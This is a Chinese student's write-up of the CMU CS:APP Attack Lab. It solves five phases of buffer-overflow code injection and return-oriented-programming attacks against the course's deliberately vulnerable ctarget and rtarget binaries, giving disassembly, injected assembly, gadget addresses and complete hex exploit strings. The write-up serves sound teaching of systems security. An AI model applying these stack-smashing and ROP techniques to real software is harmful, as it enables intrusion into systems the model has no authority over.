CSAPP-Lab03 Attack Lab 记录

纸上得来终觉浅,绝知此事要躬行

实验概览

Attack!成为一名黑客不正是我小时候的梦想吗?这个实验一定会很有趣。

CMU 对本实验的官方说明文档://csapp.cs.cmu.edu/3e/attacklab.pdf,按照 CMU 的文档一步步往下走就可以了。

image-20220303225536519

Part 1: Code Injection Attacks

在第一部分中,我们要攻击的是ctarget。利用缓冲区溢出,就是程序的栈中分配某个字符数组来保存一个字符串,而我们输入的字符串可以包含一些可执行代码的字节编码或者一个指向攻击代码的指针覆盖返回地址。那么就能直接实现直接攻击或者在执行ret指令后跳转到攻击代码。

Phase 1

分析

首先给了test函数的C语言代码:

void test()
{
	int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

这个函数调用了getbuf函数,题目要求我们通过代码注入的方式使getbuf执行结束后不返回到test函数中,而是返回到touch1函数。

touch1的C语言代码如下:

void touch1()
{
	vlevel = 1; /* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

反汇编test

Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
   0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    %eax,%edx
   0x0000000000401978 <+16>:    mov    $0x403188,%esi
   0x000000000040197d <+21>:    mov    $0x1,%edi
   0x0000000000401982 <+26>:    mov    $0x0,%eax
   0x0000000000401987 <+31>:    callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:    add    $0x8,%rsp
   0x0000000000401990 <+40>:    retq
End of assembler dump.

第2行分配栈帧,第4行调用getbuf函数

反汇编getbuf

Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq
End of assembler dump.

分配了40个字节的栈帧,随后将栈顶位置作为参数调用Gets函数,读入字符串。

此时,栈帧情况是这样的:(以8个字节为单位)

image-20220305095612188

查到touch1代码地址为:0x4017c0

由此就有了思路,我们只需要输入41个字符,前40个字节将getbuf的栈空间填满,最后一个字节将返回值覆盖为0x4017c0touch1的地址,这样,在getbuf执行retq指令后,程序就会跳转执行touch1函数。

Solution

采用Write up推荐方法,创建一个txt文档存储输入。并按照HEX2RAW工具的说明,在每个字节间用空格或回车隔开。

x86采用小端存储,要注意输入字节的顺序

我们的输入为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

执行命令:

./hex2raw < ctarget01.txt | ./ctarget -q
  • ./hex2raw < ctarget01.txt是利用hex2raw工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串
  • |表示管道,将转化后的输入文件作为ctarget的输入参数
  • 由于执行程序会默认连接 CMU 的服务器,-q表示取消这一连接

image-20220304093523423

攻击成功!

Phase 2

分析

本题结构与上题相同,不同的是调用的touch2函数的内容:

void touch2(unsigned val)
{
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
		}
	exit(0);
}

不仅需要修改返回地址调用touch2函数,还需要把cookie作为参数传进去。题目建议我们不使用jmpcall指令进行代码跳转,也就是说,只能通过在栈中保存目标代码的地址,然后以ret的形式进行跳转。

我们先深入理解ret指令:

在CPU中有一个“PC”即程序寄存器,在 x86-64 中用%rip表示,它时刻指向将要执行的下一条指令在内存中的地址。而我们的ret指令就相当于:

pop %rip

即把栈中存放的地址弹出作为下一条指令的地址。

于是,利用pushret就能实现我们的指令转移啦!

思路如下:

  • 首先,通过字符串输入把caller的栈中储存的返回地址改为注入代码的存放地址

  • 然后,编写代码。我们的代码应该完成哪些工作呢?

    • 查看cookie值为0x59b997fa,先将第一个参数寄存器修改为该值
    • 在栈中压入touch2代码地址
    • ret指令调用返回地址也就是touch2
  • 确定注入代码的地址。代码应该存在getbuf分配的栈中,地址为getbuf函数中的栈顶

注入代码

查到touch2代码地址为:0x4017c0,由上述思路,得代码如下:

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

利用gdbgetbuf分配栈帧后打断点,查看栈顶指针的位置

image-20220304175128141

0x5561dc78这就是我们应该修改的返回地址

栈帧讲解

按照我们的思路,输入字符串后的栈帧应该是这样的

image-20220305095954954

逻辑如下:

  • getbuf执行ret指令后,注入代码的地址从栈中弹出
  • 程序执行我们编写的代码,当再次执行ret后,从栈中弹出的就是我们压入的touch2函数的地址,成功跳转

Solution

先将我们的汇编代码保存到一个.s文件中,接下来利用如下指令

gcc -c injectcode.s
objdump -d injectcode.o > injectcode.d

得到字节级表示

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

将这段代码放到40个字节中的开头,代码地址放到末尾。于是就得到我们的输入为:

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

image-20220304233752252

攻击成功!

Phase 3

分析

本题与上题类似,不同点在于传的参数是一个字符串。先给出touch3的C语言代码

void touch3(char *sval)
{
	vlevel = 3; /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

touch3中调用了hexmatch,它的C语言代码为:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
	char cbuf[110];
    /* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

也就是说,我们要把cookie转换成对应的字符串传进去

注意第6行,s的位置是随机的,我们写在getbuf栈中的字符串很有可能被覆盖,一旦被覆盖就无法正常比较。

因此,考虑把cookie的字符串数据存在test的栈上,其它部分与上题相同,这里不再重复思路。

注入代码

先查找test栈顶指针的位置:

image-20220305094755965

0x5561dca8,这就是我们字符串存放的位置,也是调用touch3应该传入的参数,又touch3代码的地址为4018fa。从而得到代码:

movq    $0x5561dca8, %rdi
pushq   $0x4018fa
ret

字节级表示为:

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

栈帧讲解

我们期望的栈帧应该是这样的:

image-20220305101326911

逻辑如下:

  • getbuf执行ret,从栈中弹出返回地址,跳转到我们注入的代码
  • 代码执行,先将存在caller的栈中的字符串传给参数寄存器%rdi,再将touch3的地址压入栈中
  • 代码执行ret,从栈中弹出touch3指令,成功跳转

Solution

我们的cookie0x59b997fa作为字符串转换为ASCII为:35 39 62 39 39 37 66 61

注入代码段的地址与上题一样,同样为0x5561dc78

由于在test栈帧中多利用了一个字节存放cookie,所以本题要输入56个字节。注入代码的字节表示放在开头,33-40个字节放置注入代码的地址用来覆盖返回地址,最后八个字节存放cookie的ASCII 。于是得到如下输入:

48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

image-20220305102649568

攻击成功!

Part 1就此完结啦!

Part 2: Return-Oriented Programming

在第二部分中,我们要攻击的是rtarget,它的代码内容与第一部分基本相同,但是攻击它却比第一部分要难得多,主要是因为它采用了两种策略来对抗缓冲区溢出攻击

  • 栈随机化。这段程序分配的栈的位置在每次运行时都是随机的,这就使我们无法确定在哪里插入代码
  • 限制可执行代码区域。它限制栈上存放的代码是不可执行的。

看到这里,我不禁一头雾水,这下子该怎么攻击啊?

庆幸的是,文档也提供了攻击策略,即ROP:面向返回的程序设计,就是在已经存在的程序中找到特定的以ret结尾的指令序列为我们所用,称这样的代码段为gadget,把要用到部分的地址压入栈中,每次ret后又会取出一个新的gadget,于是这样就能形成一个程序链,实现我们的目的。我喜欢将这种攻击方式称作“就地取材,拼凑代码”

image-20220305141735521

同时,我们有如下指令编码表:

image-20220305135105263

举个例子:

rtarget有这样一个函数:

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

它的汇编代码字节级表示为:

0000000000400f15 <setval_210>:
	400f15: c7 07 d4 48 89 c7 	movl $0xc78948d4,(%rdi)
	400f1b: c3 					retq

查表可知,取其中一部分字节序列 48 89 c7 就表示指令movq %rax, %rdi,这整句指令的地址为0x400f15,于是从0x400f18开始的代码就可以变成下面这样:

movq %rax, %rdi
ret

这个小片段就可以作为一个gadget为我们所用。

其它一些我们可以利用的代码都在文件farm.c中展示了出来

Phase 4

分析

本题的任务与Phase 2相同,都是要求返回到touch2函数,phase 2中用到的注入代码为:

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

我们根本不可能找到这种带特定立即数的gadget,只能思考其他办法。

首先,要做的是把 cookie 赋值给参数寄存器%rdi,考虑将 cookie 放在栈中,再用指令:

pop %rdi
ret

就能实现参数的赋值了,当ret后,从栈中取出来的程序地址再设置为touch2的地址就能成功解决本题

但是后来发现在farm中找不到这条指令的gadget,经过多次尝试,只好用其他寄存器进行中转,考虑用两个gadget

popq %rax
ret
###############
movq %rax, %rdi
ret

栈帧讲解

根据我们的思路,栈帧情况如下:

image-20220305153502546

逻辑如下:

  • getbuf执行ret,从栈中弹出返回地址,跳转到我们的gardget01
  • gadget01执行,将cookie弹出,赋值给%rax,然后执行ret,继续弹出返回地址,跳转到gardget2
  • gardget2执行,将cookie值成功赋值给参数寄存器%rdi,然后执行ret,继续弹出返回地址,跳转到touch2

Solution

首要问题是找到我们需要的gadget

先用如下指令得到target的汇编代码及字节级表示

objdump -d rtarget > rtarget.s

查表知,pop %rax58表示,于是查找58

00000000004019a7 <addval_219>:
  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:       c3                      retq                   retq

得到指令地址为0x4019ab

movq %rax, %rdi表示为48 89 c7,刚好能找到!其中 90 表示“空”,可以忽略

00000000004019c3 <setval_426>:
  4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:       c3                      retq

得到指令地址为0x4019c5

根据上图的栈帧,就能写出我们的输入序列:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

image-20220305161143538

攻击成功!

Phase 5

先附上Write up中来自 CMU 官方的劝退:

Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now. Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

现在是晚上 23:20,我本来已经头昏眼花准备就寝明日再战。但看到这段话,好家伙,不仅没把我劝退,还让我的困意一下子消失,精神振奋了起来。

长缨已在手,缚住苍龙就在今日!

分析

本题的任务与Phase 3相同,都是要求返回到touch3函数

Phase 3中用到的注入代码为:

movq    $0x5561dca8, %rdi
pushq   $0x4018fa
ret

其中0x5561dca8是栈中cookie存放的地址。

而在本题中,栈的位置是随机的,把cookie存放在栈中似乎不太现实,但是我们又不得不这样做,那么有什么办法呢?只能在代码中获取%rsp的地址,然后根据偏移量来确定cookie的地址。想到这,思路就明晰了。

查表,movq %rsp, xxx表示为48 89 xx,查找一下有没有可用的gadget

0000000000401aab <setval_350>:
  401aab:       c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:       c3                      retq

还真找到了,48 89 e0对应的汇编代码为

movq %rsp, %rax

地址为:0x401aad

根据提示,有一个gadget一定要用上

 00000000004019d6 <add_xy>:
   4019d6:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
   4019da:       c3                      retq

地址为:0x4019d6

通过合适的赋值,这段代码就能实现%rsp加上段内偏移地址来确定cookie的位置

剩下部分流程与Phase 3一致,大体思路如下:

  • 先取得栈顶指针的位置
  • 取出存在栈中得偏移量的值
  • 通过lea (%rdi,%rsi,1),%rax得到 cookie 的地址
  • 将 cookie 的地址传给%rdi
  • 调用touch 3

由于gadget的限制,中间的细节需要很多尝试,尝试过程不再一一列举了,我们直接给出代码

#地址:0x401aad
movq %rsp, %rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

#地址:0x4019cc
popq %rax
ret

#地址:0x4019dd
movl %eax, %edx
ret

#地址:0x401a70
movl %edx, %ecx
ret

#地址:0x401a13
movl %ecx, %esi
ret

#地址:0x4019d6
lea    (%rdi,%rsi,1),%rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

栈帧讲解

为节省空间,每一行代码都省略了后面的ret

image-20220305192432219

逻辑在图上标的很清楚,这里就不再用文字写啦!

要注意getbuf执行ret后相当于进行了一次pop操作,test的栈顶指针%rsp=%rsp+0x8,所以cookie相对于此时栈顶指针的偏移量是0x48而不是0x50

Solution

根据上图的栈帧,写出输入序列:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
ad 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61

image-20220305193301330

Pass! 攻击成功!

总结

  • 本实验涉及的内容在课本中只有短短几页的篇幅,而实际操作中却要考虑如此多的东西,确实是那句话“纸上得来终觉浅,绝知此事要躬行”。五个Phase的难度是层层递进的,Part 1让我对部分汇编指令以及栈的原理有了更深的领悟;Part 2可能就更加贴合实际工程项目了,我在这里初步学习了“ROP”这一天才的攻击技术,实现成功的攻击需要对每一个字节都能有足够的敏感。同时,在我以后编写的代码中,也应该注意到缓冲区溢出的问题
  • 本实验耗时2天,约9小时